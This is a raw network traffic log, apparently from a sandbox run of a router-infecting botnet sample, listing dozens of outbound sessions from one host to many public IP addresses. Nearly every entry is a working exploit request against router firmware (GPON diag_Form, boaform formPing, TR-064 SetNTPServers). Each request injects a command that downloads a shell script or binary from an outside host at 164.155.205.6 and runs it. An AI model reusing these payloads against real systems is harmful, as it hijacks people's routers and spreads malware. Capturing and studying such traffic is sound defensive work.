Mar 2, 2024 12:37:13.911547899 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
376	192.168.2.23	57614	109.130.127.204	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:13.911571026 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
377	192.168.2.23	60408	212.100.214.7	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:13.911617041 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
378	192.168.2.23	52088	212.79.181.128	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:13.911618948 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
379	192.168.2.23	48610	94.243.213.41	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:13.911618948 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
380	192.168.2.23	41254	178.12.177.176	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:13.911618948 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
381	192.168.2.23	55110	210.137.11.175	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:13.911633015 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
382	192.168.2.23	45516	37.2.245.103	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:13.911638021 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
383	192.168.2.23	33142	79.175.225.72	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:13.911658049 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
384	192.168.2.23	39234	42.231.219.170	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:13.911700964 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
385	192.168.2.23	55310	212.80.42.27	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:13.911751032 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
386	192.168.2.23	33292	178.16.14.87	1723

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:14.162561893 CET	269	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
387	192.168.2.23	44754	62.255.96.231	1723

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:14.349384069 CET	269	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
388	192.168.2.23	48964	62.77.210.57	1723

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:14.359421968 CET	269	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
389	192.168.2.23	42252	62.29.67.77	1723

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:14.572736979 CET	269	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
390	192.168.2.23	34434	174.74.135.156	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:16.651969910 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
391	192.168.2.23	34436	174.74.135.156	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:16.813637018 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
392	192.168.2.23	50902	210.203.150.47	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:16.920826912 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
393	192.168.2.23	60026	2.159.127.123	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:16.920835972 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
394	192.168.2.23	42484	2.87.87.28	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:16.920875072 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
395	192.168.2.23	52072	42.7.204.50	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:16.920938015 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
396	192.168.2.23	57598	79.16.34.116	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:16.921037912 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
397	192.168.2.23	36402	172.88.204.252	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:17.029640913 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:18.148972988 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:19.464970112 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
398	192.168.2.23	53840	189.34.136.104	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:17.049582005 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
399	192.168.2.23	60410	121.167.36.14	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:17.100522995 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
400	192.168.2.23	53860	189.34.136.104	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:17.326749086 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
401	192.168.2.23	60430	121.167.36.14	7547

